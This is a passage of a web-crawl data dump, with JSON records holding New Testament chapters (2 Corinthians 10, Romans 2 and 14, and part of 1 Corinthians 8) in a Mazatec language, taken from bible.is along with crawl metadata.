Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/4\/3","date":"2017-09-25T10:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690591.29\/warc\/CC-MAIN-20170925092813-20170925112813-00644.warc.gz","language":"maa","language_score":0.9998195767,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9998195767402649}","num_words":51,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n xi Pablo 'mì‑na, bìtsi'bà‑nò i̱t'aà ts'e̱ Cristo xi tjín‑la̱ kjo̱ndaà, ko̱ xi indaà tíjna ini̱ma̱‑la̱. Tjín xi̱ta̱ xi tsò‑na nga i̱ma̱ kjoa̱ xó s'iaàn k'e̱ nga ya̱ tìjna̱jiìn‑nò, ko̱ 'ñó xó ts'e̱n s'iaàn k'e̱ nga kjiìn tìjna̱a. 2Ti̱koa̱ bìtsi'bà‑nò k'e̱ nga kjíkon‑nò, jñò, ítjòn jchi̱bàya‑nò kjoa̱ xi tjín‑nò, mé‑ne k'e̱ nga kìjchoa, kì kiì bìnè‑náje̱n nga 'ñó kichjàkoa̱a jñà xi̱ta̱ xi k'oa̱s'ín nchitsò nga k'oa̱á s'ín titsa̱'nè‑je̱n koni s'ín xi ta̱xki̱ xi̱ta̱ i̱sò'nde. Ta̱nga 'a̱n, tìjna̱ ndaà‑ná nga ko̱jtikoa̱a jñà xi̱ta̱ xi chja̱jno‑naje̱n. 3Kixi̱í kjoa̱ nga xi̱ta̱ i̱sò'nde 'mì‑naje̱n, ta̱nga mì k'oa̱s'ín bixkán‑je̱n koni s'ín kjaán jñà xi ta̱xki̱ xi̱ta̱ i̱sò'nde. 4Ki̱cha̱ xi nìkjeén‑je̱n, mìtsà ki̱cha̱ ts'e̱ i̱sò'nde. Nga'ñó ts'e̱ Nainá‑né xi ma‑la̱ síkixòña nga'ñó‑la̱ xi̱ta̱ nei̱í xi bíchjoà ikòn‑la̱ 'én‑la̱ Nainá. 5Nìkixòña‑náje̱n ngats'iì kjo̱hítsjeèn xi ch'o tjín ko̱ kjoa̱ 'nga takòn xi kondra̱ ts'e̱ kjoa̱chji̱ne̱‑la̱ Nainá. Ndobà'ñó‑náje̱n ngats'iì kjo̱hítsjeèn mé‑ne ko̱ma ki̱tasòn‑la̱ Cristo koni s'ín mejèn‑la̱. 6Titsa̱jnandaà‑náje̱n nga k'oi̱‑la̱je̱n kjo̱'in xi̱ta̱ ni̱ta̱ mé kjoa̱‑ne xi mìkiì ndaà bitasòn‑la̱, k'e̱ nga jye jcha̱‑la̱ nga jñò kixi̱ nìkitasòn. 7Jñò, tà k'oa̱á s'ín chìtsejèn‑là koni s'ín 'ya‑la̱ jñà xi̱ta̱. Tsà tjín i'nga xi̱ta̱ xi tsò‑la̱ yijo‑la̱ nga jè Cristo kisìkasén, ndaà kàtasíkítsjeèn, ti̱koa̱ ngaje̱n jè sobà Cristo kisìkasén‑naje̱n. 8Mìkiì masobà‑na nga ndaà síkíjna yijo‑na̱ i̱t'aà ts'e̱ kjo̱tíxoma xi kisìnga̱tsja‑naje̱n Cristo mé‑ne ko̱ma si̱chját'aà‑nò nga ìsa̱ 'ñó ki̱tsa̱jnaà; ko̱ mìtsà koi‑ne nga 'a̱n sikits'ón‑jiìn‑nò. 9Majìn‑na̱ nga k'oa̱s'ín si̱kítsjeèn nga 'a̱n mejèn‑na̱ binchaxkón‑nò k'e̱ nga xo̱jo̱n tìsìkasén‑nò. 10Tjín i'nga xi̱ta̱ xi tsò: \"Xo̱jo̱n‑la̱, 'ñó jchán tjín, 'ñó tíchja̱, ta̱nga k'e̱ nga i̱ tíjnajiìn‑ná mìtsà 'ñó xkón kji. 'Én xi chja̱, mì yá xi ndaà beèxkón.\" 11Jñà xi̱ta̱ xi k'oa̱ tsò, ndaà kàtasíkítsjeèn koni tsò xo̱jo̱n xi nìkasén‑je̱n k'e̱ nga kjiìn titsa̱jna‑je̱n. K'oa̱á ti̱s'ín s'e̱n‑je̱n k'e̱ nga ya̱ titsa̱jnajiìn‑nòje̱n. 12Kixi̱í kjoa̱, ngaje̱n, majìn‑naje̱n nga siìngásòn‑kjoòko̱‑je̱n jñà xi̱ta̱ xi ti̱ yijo‑la̱ ndaà síkítsa̱jna‑ne. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, xi̱ta̱ tòndo̱‑né. Tsjìn‑la̱ kjo̱hítsjeèn nga ti̱ chi̱ba̱ ts'e̱é síchi̱ba̱‑ne yijo‑la̱. Ti̱koa̱ ti̱ xíkjín síchi̱ba̱kjoò‑ne. 13Ngaje̱n, mìkiì si̱katonè‑la̱je̱n chi̱ba̱‑la̱ nga ndaà si̱kítsa̱jna‑je̱n yijo‑naje̱n. K'oa̱á kji koni kji tsjá chi̱ba̱ Nainá i̱t'aà ts'e̱ xá‑naje̱n. Jè Nainá kitsjaà‑naje̱n xá xi ijchòko̱‑nòje̱n skanda ján Corinto. 14Ko̱ tsà mì‑là ngaje̱n ijchò ítjòn‑je̱n, kixi̱í kjoa̱ kinìkatonè‑la̱je̱n chi̱ba̱‑la̱ i̱'nde koni kji kitjò'nde‑naje̱n. Ta̱nga ngaje̱n‑náje̱n xi ijchòko̱ ítjòn‑nòje̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 15Mìtsà ji̱n ndaà nìkítsa̱jna‑je̱n yijo‑naje̱n i̱t'aà ts'e̱ xá xi nchis'ín xi̱ta̱ xi kj'ei̱í. Mìtsà titsa̱nìkatonè‑la̱je̱n chi̱ba̱‑la̱ koni kji xá xi oko̱‑naje̱n. Chiñàkjoa̱‑náje̱n, koni s'ín ìsa̱ 'ñó ndaà ko̱kjeiín‑nò, ko̱ ìsa̱á ko̱tseya xá xi titsa̱'nè‑je̱n. Ta̱nga ta k'oa̱á kji si̱xá‑je̱n koni s'ín tje̱n chi̱ba̱‑la̱. 16K'oa̱á s'ín kéno̱jmíya‑je̱n 'én ndaà‑la̱ Nainá jñà na̱xa̱ndá xi fì‑ìsa ñánda kijna na̱xa̱ndá tsa̱jòn. Ta̱nga mì ya̱ ki̱tjás'e̱n‑jiìn‑je̱n i̱'nde ñánda jye nchisíxá xi̱ta̱ xi kj'ei̱í nga mì ji̱n ndaà si̱kítsa̱jna‑je̱n yijo‑naje̱n xá xi nchis'ín xi̱ta̱ xi kj'ei̱í. 17Jè xi jeya síkíjna yijo‑la̱, ta sa̱á Nainá jeya kàtasíkíjna. 18Mìtsà jè xi ndaà bitjongui xi ti̱ yijo‑la̱ ndaà síkíjna‑ne i̱t'aà ts'e̱ mé kjoa̱ xi s'ín. Jè Nainá xi k'oa̱ ki̱tso̱ tsà kixi̱ kjoa̱ nga ndaà xi̱ta̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10","date":"2017-09-21T02:14:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687592.20\/warc\/CC-MAIN-20170921011035-20170921031035-00592.warc.gz","language":"maa","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000032186508179}","num_words":489,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni, tsa títsa̱jin i'ka‑no ra ma‑la̱ bíndajín‑la̱ xi̱ta̱ xákjién, nga síkinda̱ jé‑la̱, mì kì ko̱ma kó'sín ko̱si̱ko̱ ijo‑la̱, ni̱'sín ta yá xi̱ta̱‑ni ra jè. 'Kia̱ nga bánè jé‑la̱ xi̱ta̱ xákjién, ti̱jé tíbánè jé‑la̱ ijo‑la̱, nga̱ 'koa̱á ti̱'sín tí'sín ra jè koni 'sín 'sín jñà xi̱ta̱ ra i'ka. 2Tanga 'ya‑ná nga kjoa̱ kixi̱í ra 'sín Nainá 'kia̱ nga tsjá‑la̱ kjo̱hi'in jñà xi̱ta̱ ra ko̱tjín kjoa̱ ra 'sín. 3Ngajiòn ra nìkinda̱a xi̱ta̱ xàngio̱o nga fanè jé‑la, ¿mé‑ni nga ko̱'sín níkítsjen‑no nga ko̱to‑nájiòn jè kjo̱hi'in ra tsjá Nainá? Nga̱ ti̱'koa̱á ra jiòn, 'koa̱á ti̱'sín i̱nchi'nià koni 'sín 'sín jñà xi̱ta̱ ra i'ka. 4¿A mí 'ya nga jè i̱nchinachrjengio jè kjo̱nda‑la̱ Nainá ra 'ñó nda tjín, ko̱ kjoa̱jetakòn‑la̱ nga tíkoñá kjoa̱? ¿A mí machi̱ya‑no nga jè kjo̱nda ra tjín‑la̱ Nainá, jé ra títsjá‑no ni̱chjin nga ma si̱kájno jé‑no nga mì ti̱ jé kjótsji‑no mé‑ni nga ya̱ kongítji̱ngi‑la ra jè? 5Tanga ta nga̱tjì‑la̱ nga tájajín tjín jè kjo̱bítsjen‑no nga mì kì níkájno jé ra tjíjin inìma̱‑no, isa̱á tse kjo̱hi'in i̱nchinitse'tion ijo‑no jè ra tsjá‑no Nainá 'kia̱ nga kji̱íko̱ kjo̱jti‑la̱, jè ni̱chjin 'kia̱ nga kj'i̱í nga ko̱'sín kixi̱ kjòn ki̱ìndajín, nga jcha̱‑la̱ yá‑ní ra ko̱ko̱‑la̱ kjo̱hi'in. 6Jè Nainá, 'koa̱á 'sín tsjá‑la̱ chjí‑la̱ jñà xi̱ta̱, koni 'sín tjín mé ta̱ kjoa̱ ra ki'sìn nga jngó jngó. 7Ko̱ tsjá‑la̱ kjo̱binachon ra mì fehe'ta ni̱ ta mé ni̱chjin‑nioo̱, jñà xi̱ta̱ ra i̱nchibátsji nga jeya kítsa̱jna ñánda̱ tíjna Nainá nga jcha̱xkón ko̱ nga mì kì jchi̱ja ta mé ni̱chjin‑nioo̱, ta nga̱tjì‑la̱ nga̱ ndaá tjín kjoa̱ ra i̱nchi'sín nga ni̱chjin nchijòn. 8Tanga ngi ko̱ó kjo̱jti‑la̱ Nainá nga tsjá‑la̱ kjo̱hi'in jñà xi̱ta̱ ra táhijín 'sín nga kondra̱ fì‑la̱ Nainá, jñà ra mì kì ma‑la̱ 'nchréhijon‑la̱ ra kjoa̱kixi̱. Tà isa̱á jñà kjoa̱ ra 'cho tjín fìtji̱ngi‑la̱. 9Tseé kjo̱hi'in ko̱ tseé kjoa̱ 'se̱‑la̱ ya̱ inìma̱‑la̱ nga'tsì xi̱ta̱ ra 'cho 'sín, ma'tsia̱ kjòn ítjòn‑ni jñà ra xi̱ta̱ judío, ko̱ ti̱'koa̱á jñà ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío. 10Tanga jñà xi̱ta̱ ra nda 'sín, tjábé‑la̱ ra kjoa̱jeya, ti̱'koa̱ jcha̱xkón‑ní, ko̱ 'se̱é‑la̱ kjo̱'nchán, ma'tsia̱ kjòn‑ni jñà ra xi̱ta̱ judío, ko̱ ti̱'koa̱á ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío. 11Nga̱ jè Nainá mì tsa ta i'ka‑ni xi̱ta̱ fahájin nga nda síko̱. 12Nga'tsì jñà xi̱ta̱ ra bátsji‑jé ra mì kì tjíjin‑la̱ kó'sín tjín kjo̱téxoma ra itjábé‑la̱ jè Moisés, takó 'seé‑la̱ kjo̱hi'in ra mì kì fehe'ta ni̱'sín mì kì kií'nchré jè kjo̱téxoma‑la̱ Moisés. Ko̱ jñà xi̱ta̱ ra bátsji‑jé ra nda kijtse kó'sín tjín kjo̱téxoma‑la̱ Moisés, ngásòn 'se̱‑la̱ kjo̱hi'in nga a̱'ta 'tse̱é kjo̱téxoma si̱ndajín‑la̱. 13Nga̱ tà jñá xi̱ta̱ ra ma‑la̱ síhitjasòn kjo̱téxoma‑la̱ Moisés, ra xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá, mì tsa jñà‑jìn ra ta 'nchré ra xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá. 14Nga̱ 'kia̱, jñà ra taxki̱ xi̱ta̱ ra mì kì tjíjin‑la̱ kó'sín tíchja̱ kjo̱téxoma‑la̱ Moisés, tanga ta ya̱á nchrabájin‑ni ya̱ inìma̱‑la̱ nga ko̱'sín 'sín kjoa̱ ra nda tjín koni 'sín tsò kjo̱téxoma, jñà xi̱ta̱ kìi̱, ni̱'sín tsìn‑la̱ kjo̱téxoma, 'yaá‑la̱ nga ya̱á tjíjin ya̱ inìma̱‑la̱ kjo̱téxoma 'tse̱. 15'Kia̱ nga ko̱'sín nda 'sín, 'yaá‑la̱ nga ya̱á tjíjin ya̱ inìma̱‑la̱ kjoa̱ ra síjé kjo̱téxoma 'tse̱ Moisés; jè inìma̱‑la̱ ko̱'sín tsò‑la̱ mé kjoa̱ ra nda tjín ko̱ mé kjoa̱ ra 'cho tjín; ko̱ ti̱jé‑ni kjo̱bítsjen‑la̱ sa 'koa̱ bánè jé‑la̱, ko̱ sa 'koa̱á basìko̱tjì. 16'Koa̱á 'sín ko̱ma jè ni̱chjin 'kia̱ nga jè Nainá kj'i̱í, nga ki̱ìndajín nga'tsì jé ra tjí'ma‑la̱ ya̱ a̱jin inìma̱‑la̱ xi̱ta̱; nga̱ jè Jesucristo ki̱ìndajín nga'tsì kjoa̱ kìi̱, koni 'sín tsò 'én xi̱tse̱ 'tse̱ Cristo ra 'a̱n tí'bènájmíya. 17Tanga jiòn ra xi̱ta̱ judío 'mì‑la ijo‑no; ya̱á 'ñó ma'ñó'ta takòn kjo̱téxoma 'tse̱ Moisés ko̱ 'ñó 'nga ma takòn ra a̱'ta 'tse̱ Nainá. 18Ndaá 'ya ra jiòn mé ra mejèn‑la̱ Nainá; ko̱ ndaá 'ya mé kjoa̱ ra isa̱ nda tjín ra a̱'ta 'tse̱ koni 'sín bakón‑ya‑no jè kjo̱téxoma. 19'Koa̱á 'sín 'ñó ma takòn nga jiòn ra ma‑no bakon‑ya‑la ndi̱yá kixi̱, jñà xi̱ta̱ ra mì kì machi̱ya‑la̱ ra tjíchjàjin kjo̱bítsjen‑la̱; ko̱ nga ma‑no nìhisen‑la jñà ra kjoa̱jñò tjítsa̱jin. 20Nga 'koa̱á 'sín níkítsjen nga maá‑no jiòn nda ko̱kón‑ya‑la kjo̱téxoma ra taxki̱ xi̱ta̱ ra tsìn‑la̱ kjo̱bítsjen; ko̱ nga jiòn ma‑no ko̱kón‑ya‑la jñà xi̱ta̱ ra ni̱mé ma‑la̱; ngajiòn ra tjín‑no kjoa̱chji̱ne̱ ko̱ kjoa̱kixi̱ ra bakón‑ya‑no a̱'ta 'tse̱ kjo̱téxoma. 21Jiòn ra ko̱'sín ma‑no bakon‑ya‑la xi̱ta̱ ra kj'ií, ¿mé‑ni mì tsa ti̱ jiòn bakon‑ya‑la ijo‑no? Jiòn ra ko̱'sín bakon‑ya nga mì kì ma nichijé, ¿a mí nichijé ra jiòn? 22Jiòn ra ko̱'sín bakon‑ya nga xkón‑ni nga jò jàn 'sie̱én íchjín‑ná, ¿a mí ko̱'sín 'nià ra jiòn? Ko̱ 'koa̱á ti̱'sín bixó nga nachrjengi‑no jñà xkósòn ra nainá tsò‑la̱ xi̱ta̱, tanga, ¿mé‑ni nga ya̱ bitjàha̱'se̱n‑no ya̱ i̱ngo̱‑la̱ nga nichijé tsajmì ra ya̱ tjín? 23Jiòn, 'ñó 'nga ma takòn nga ndaá 'ya jè kjo̱téxoma, tanga 'kia̱ nga mì nda nihitjasòn‑la koni 'sín tíchja̱ kjo̱téxoma, ¿a mí tsa jè Nainá mì nda i̱nchi'yaxkón jiòn? 24Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Ta nga̱tjì tsa̱jiòn‑no nga chja̱jno‑la̱ Nainá jñà ra taxki̱ xi̱ta̱.\" 25Jè kjoa̱ 'tse̱ circuncisión nga tjí'ta chi̱ba̱ ijo‑no, chjí‑la̱ tsa nda si̱itjasòn kjo̱téxoma 'tse̱ Moisés. Tanga tsa mì kì si̱itjasòn kjo̱téxoma, 'koa̱á jngoya‑ila̱ koni tsa mì tsa tjí'ta chi̱ba̱‑ni ijo‑no. 26Jè ra taxki̱ xi̱ta̱, ni̱'sín mì kì tjí'ta chi̱ba̱ ijo‑la̱ koni xi̱ta̱ judío, tanga tsa nda síhitjasòn kjo̱téxoma 'tse̱ Moisés, Nainá, 'koa̱á 'sín ki̱tso̱‑la̱ koni tsa tjí'ta chi̱ba̱ kjòn‑ni ijo‑la̱. 27Jè xi̱ta̱ ra si̱hitjasòn kjo̱téxoma 'tse̱ Moisés, ni̱'sín mì kì tjí'ta chi̱ba̱ ijo‑la̱, jè ko̱ko̱‑la̱ nga ki̱ìndajín‑no, jiòn ra mì kì nihitjasòn ni̱'sín tjí'ta chi̱ba̱ ijo‑no, ti̱'koa̱ ni̱'sín tjín‑no xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá. 28Jngo ra xi̱ta̱ judío 'mì, mì tsa tà a̱sòn'nga‑jìn nga ko̱'sín 'mì; ko̱ jè ra tjí'ta chi̱ba̱ ijo‑la̱, mì tsa jè‑ni ra nda bijna‑ni ya̱ ngixko̱n Nainá nga tjí'ta chi̱ba̱ ijo‑la̱ ya̱ a̱sòn'nga‑la̱. 29Jè ra ngi xi̱ta̱ judío jè‑ní ra ngi ya̱ inìma̱‑la̱ jahatjìya‑la̱; ko̱ jé ra chjí‑la̱ nga ya̱ tjí'ta chi̱ba̱ ya̱ inìma̱‑la̱, ko̱ mì tsa jè kjo̱téxoma ra ta xa̱jo̱n tjí'ta, jé‑ní ra Inìma̱ Tsje‑la̱ Nainá isìkaatjìya‑la̱ inìma̱‑la̱. Jè ra ko̱'sín síhitjasòn, mì tsa ta xi̱ta̱‑jìn ra nda xi̱ta̱ ko̱chrjengi, ngi jè sabá kjón Nainá ra nda ko̱chrjengi.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/2","date":"2017-09-21T18:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687834.17\/warc\/CC-MAIN-20170921172227-20170921192227-00130.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":979,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nda jchi̱ko̱o jñà xi̱ta̱ xàngio̱o jñà ra mì tjíjngo ikon mé kjoa̱ ra tjí'nde‑la̱ nga 'si̱in; kì tà chjàn jñà kjoa̱ chitiya‑no, ni̱'sín mì kì mangásòn kjo̱bítsjen‑no jñà kjoa̱ ra 'sín. 2Tjín xi̱ta̱ ra ko̱'sín síkítsjen nga ma chine nga'tsì tsajmì ra tjín; ti̱'koa̱ tjín‑te xi̱ta̱ ra mì kì makjiín‑la̱ tsa maá chine ijye tsajmì ra tjín; tà jñá kjine tsajmì ra majchá ya̱ a̱jin nangi. 3Jè ra kjine ijye tsajmì ra ma chine kì tà chjàn bachrjengi jè ra mì kì taxki̱ kjine ijye tsajmì, ko̱ jè ra mì kì ma‑la̱ taxki̱ kjine ijye tsajmì, kì tà chjàn chja̱jno‑la̱ jè ra ma‑la̱ kjine ta mé‑nioo̱; nga̱ jè Nainá ijyeé iskábétjò nga i'ndí‑la̱ tsò‑la̱. 4¿Yá‑ni ra ji̱ nga ji̱ nikìnda̱‑ni chi̱'nda ra kj'ií? Kinda̱ 'tse̱é Nainá ra ni‑la̱ ma chi̱'nda ra̱kìi̱ tsa kixi̱ tíjna, ko̱ tsa mì kixi̱ tíjna. Ko̱kixi̱yaá‑ni, nga̱ jè Na̱'ín‑ná tseé nga'ñó tjín‑la̱ nga ma kixi̱ si̱ìkíjna. 5Tjín xi̱ta̱ ra tsò: Tjín ni̱chjin ra isa̱ xkón koni jñà ni̱chjin ra i'kaa̱. Ko̱ tjín ra tsò: Jñà ni̱chjin, ta ngásón kjòn nga ni̱chjin nchijòn. Nga jngó jngó xi̱ta̱, 'koa̱á 'sín nda katíjngo‑la̱ ikon koni 'sín tsò‑la̱ kjo̱bítsjen‑la̱. 6Jñà xi̱ta̱ ra fahájin jngo ni̱chjin nga bexkón, jeyaá síkíjna Nainá; ko̱ jñà xi̱ta̱ ra tsò nga ta ngásòn ngáyaá jñà ni̱chjin, ti̱'koa̱á jeyaá síkíjna Nainá. Jñà xi̱ta̱ ra kjine ijye ta mé tsajmì‑nioo̱, a̱'ta 'tse̱ Nainá‑ní nga ko̱'sín kjine, nga̱ tsjá‑la̱ kjo̱nda Nainá nga tsò‑la̱: \"Tse kjo̱nda kata'se‑li\"; ko̱ jñà xi̱ta̱ ra mì taxki̱ kjine tsajmì, ti̱'koa̱á a̱'ta 'tse̱ Nainá‑ní nga mì kì kjine, ko̱ ti̱'koa̱á ti̱'sín chja̱'ta‑la̱ Nainá. 7Jién, 'kia̱ nga titsa̱jnakeén, mì tsa ki‑ni nga jién jeya si̱kíjneé ijo‑ná. Ko̱ 'kia̱ nga ki̱yé, mì tsa ki‑ni nga jeya si̱kíjneé kjo̱biya‑ná. 8Tanga kií xá titsa̱jnakon‑ná nga jè Nainá, jeya kíjna. Ko̱ 'kia̱ nga biyeé, kií ko̱'sín biya‑ná nga jè Nainá jeya katijna. Tsa titsa̱jnakeén, ko̱ tsa ki̱yé, jè Nainá jeya kíjna, nga a̱'ta 'tse̱é titsa̱jna‑ná. 9'Koa̱á ma‑ni nga 'ken jè Cristo, ko̱ a̱kjòn jaáya‑ila̱ nga tsikijnakon‑ni, mé‑ni nga jè ka̱ma Ni‑la̱ jñà xi̱ta̱ ra ijye 'ken, ko̱ ra takó títsa̱jnakon. 10Tanga ji̱ ra nakjoájno‑la̱ 'ndsì, ¿mé‑ni ko̱'nìa‑ni? Ti̱'koa̱á ji̱ ra nachrjengi 'ndsì, ¿mé‑ni ko̱'nìa‑te‑ni? Nga̱ nga'tsì‑ná, kijcho kincheé ya̱ ngixko̱n Nainá nga jè ki̱ìndajín saba‑ná. 11'Koa̱á 'sín tjí'ta jè xa̱jo̱n‑la̱ Nainá: Tíjna̱kon‑ná tsó Na̱'ín‑ná; nga'tsí xi̱ta̱ ya̱ ki̱nchaxkónchi'ta‑na ko̱ nga'tsí xi̱ta̱ ko̱ki̱tso̱ nga 'a̱n‑ná ra Nainá. 12Nga̱ nga'tsí‑ná 'ki̱í‑lá kinda̱ jè Na̱'ín‑ná nga'tsì kjoa̱ ra ki'nié 'kia̱ nga i̱ tsikitsa̱jneé i̱ i̱sà'nde. 13Kií jnchro‑ni nga mì ti̱ xàngie̱é ki̱nákjoa̱jno‑lá; ta isa̱á jnchro ndaá si̱kítsjeén nga mì ko̱'sín 'sie̱én jè kjoa̱ ra síkitsón‑ya koni 'sín makjiín‑la̱ xàngie̱é, mé‑ni nga mì tsa ta ko̱tjín‑ni kjoa̱ ra india ska̱jin‑ni jé. 14'A̱n, koni 'sín nga makjiín‑na a̱'ta 'tse̱ Cristo Jesús, 'koa̱á 'sín fìya‑na nga ngi kixi̱í kjoa̱ nga nga'tsì tsajmì ra ma chine, tsìn‑jìn ra xkón‑ni nga chineé. Tanga tsa yá ra ko̱'sín makjiín‑la̱ nga tsò: tjín i'ka tsajmì ra xkón‑ni nga ma chine, ta a̱'ta 'tse̱‑ní nga xkón‑ni. 15Tanga tsa ta kií‑ni nga̱tjì‑la̱ tsajmì ra chinì, jè 'ndsì 'choó ka̱ma‑la̱, jè kjoa̱ ra tji'nì mì tsa ti̱ kjo̱tsjacha‑ni; kì tà chjàn bi'nde‑jìn nga kji̱tsón jè 'ndsì ra jè Cristo 'ken‑tjì ngajo‑la̱ nga ta nga̱tjì‑la̱ jñà tsajmì ra chinì. 16Kì ko̱tjín kjoa̱ ra 'nià, mé‑ni nga mì tsa jñà xi̱ta̱ ki̱chja̱jno‑la̱ kjoa̱nda ra makjiín‑no. 17'Kia̱ nga jè Nainá tíbatéxoma‑ná, mì tsa ki ra 'ñó chjí‑la̱ mé ra 'sie̱é ko̱ mé ra chji̱ne̱é; jè‑ní nga kixi̱ ki̱tsa̱jneé, nga 'nchán ki̱tsa̱jneé, ko̱ nga 'se̱‑ná kjo̱tsja; jñá kjoa̱ kìi̱, ra tsjá jè Inìma̱ Tsje‑la̱ Nainá. 18Jñà xi̱ta̱ ra ko̱'sín si̱hitjasòn‑la̱ jè Cristo jñà kjoa̱ kìi̱ nda sasén‑la̱ Nainá, ko̱ nda ki̱tjongi ya̱ ngixko̱n xi̱ta̱. 19Kií machjeén‑ní nga jè kongítji̱ngi‑lá kjoa̱ ra 'nchán síkítsa̱jna‑ná ko̱ nga ki̱si̱ko̱ kañé xàngie̱é a̱'ta 'tse̱ kjoa̱ ra makjiín‑ná. 20Kì tà chjàn xá‑la̱ Nainá nikitsóñì ra ta jè nga̱tjì‑la̱ tsajmì ra chinì. Kixi̱í kjoa̱, nga'tsì tsajmì ra tjín, tsje‑ní. Tanga, jé ra 'cho tjín 'kia̱ nga tà nga̱tjì‑la̱ jè tsajmì ra chinì si̱ìkitsón‑jin kjoa̱ ra ko̱'sín makjiín‑la̱ xi̱ta̱ xàngi̱i. 21Isa̱á nda‑ni, kì tà chjàn ijo chji̱ni̱i, kì tà chjàn xán 'yì, ko̱ kì mé kjoa̱ ra 'nì jè ra si̱ìkitsón‑jin jè kjoa̱ ra makjiín‑la̱ 'ndsì. 22Koni 'sín makjiín‑li a̱'ta 'tse̱ kjoa̱ kìi̱, tà ji̱í tijin‑takìn ko̱ Nainá. ¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra ko̱'sín 'sín koni 'sín nga makjiín‑la̱ ko̱ mì kì a̱skan si̱íkájno‑ni jñà kjoa̱ ra 'sín! 23Jè ra jò tjín‑la̱ 'kia̱ nga mé tsajmì ra kjine, nga mì kì tsa tjíjngo‑ni ikon nga kjine, jé tíbánè‑la̱ ijo‑la̱. Jngo xi̱ta̱, tsa jè kjoa̱ ra 'sín, mì kì tjíjngo ikon nga nda tjín ya̱ ngixko̱n Nainá, tíbátsji-jé‑ní.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/14","date":"2017-09-22T14:18:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818688966.39\/warc\/CC-MAIN-20170922130934-20170922150934-00211.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":757,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ xi ts'e̱ yijo‑la̱ cho̱ xi sík'en‑la̱ xkósòn‑la̱ xi̱ta̱ i̱sò'nde nga tsjá‑la̱ kjo̱tjò, jñò bixón‑nò nga ngats'iaá jyeé tjín‑ná kjoa̱chji̱ne̱ i̱t'aà ts'e̱ kjoa̱ koi. Kixi̱í kjoa̱, ta̱nga k'e̱ nga tjín‑ná kjoa̱chji̱ne̱, ma'ngaá takoán. Ta̱nga k'e̱ nga tjín‑ná jè kjo̱tsjacha, ìsa̱á ndaà 'biì‑lá nga'ñó xinguia̱á. 2Tsà tjín i'nga xi̱ta̱ xi tsò nga ndaà machi̱ya‑la̱, chijaá ìsa̱‑la̱; kj'eè kiì beè yije koni s'ín tjínè‑la̱ nga skoe̱. 3Jngoò xi̱ta̱ xi matsjakeè Nainá, jè Nainá ndaà beèxkon. 4K'oa̱á xan‑nò kó s'ín tjín, tsà ma chine yijo‑la̱ cho̱ xi ya̱ biyaàt'aà‑la̱ jñà xkósòn. Tíjiìn‑ná nga jñà xkósòn xi tjín i̱ i̱sò'nde, ni̱mé nga'ñó tjín‑la̱. Nga ta jngoò ma‑ne xi Nainá. 5Jñà xi̱ta̱, k'oa̱á s'ín síkítsjeèn nga kjìn ma nainá xi tjín ján ngajmiì ko̱ i̱t'aà nangui. (Kixi̱í kjoa̱ i̱t'aà ts'e̱ xi̱ta̱ koi, kjìn ma xi nainá ko̱ na̱'èn‑ná tsò‑la̱.) 6Ta̱nga jñá, 'ya‑ná nga ta jngoò ma‑ne Nainá xi Na̱'èn‑ná nga i̱t'aà ts'e̱é inchrobà‑ne ni̱ta̱ mé xi tjín. Jñá, koií xá tjín‑ná nga si̱kitasoán xá‑la̱. Ti̱koa̱á ta jngoò ma‑ne xi otíxoma‑ná, jè Jesucristo; nga i̱t'aà ts'e̱é nga'ñó‑la̱ kisindaà yije ni̱ta̱ mé xi tjín ko̱ ti̱koa̱á jñá, i̱t'aà ts'e̱é titsa̱jnakoaán. 7Ta̱nga mìtsà ngats'iì xi̱ta̱ tíjiìn‑la̱ kjoa̱ koi. Tjín i'nga xi̱ta̱ 'ndseé xi jye k'oa̱s'ín kjò'nga‑la̱ kjoa̱ ts'e̱ xkósòn k'e̱ nga ti̱kj'eè 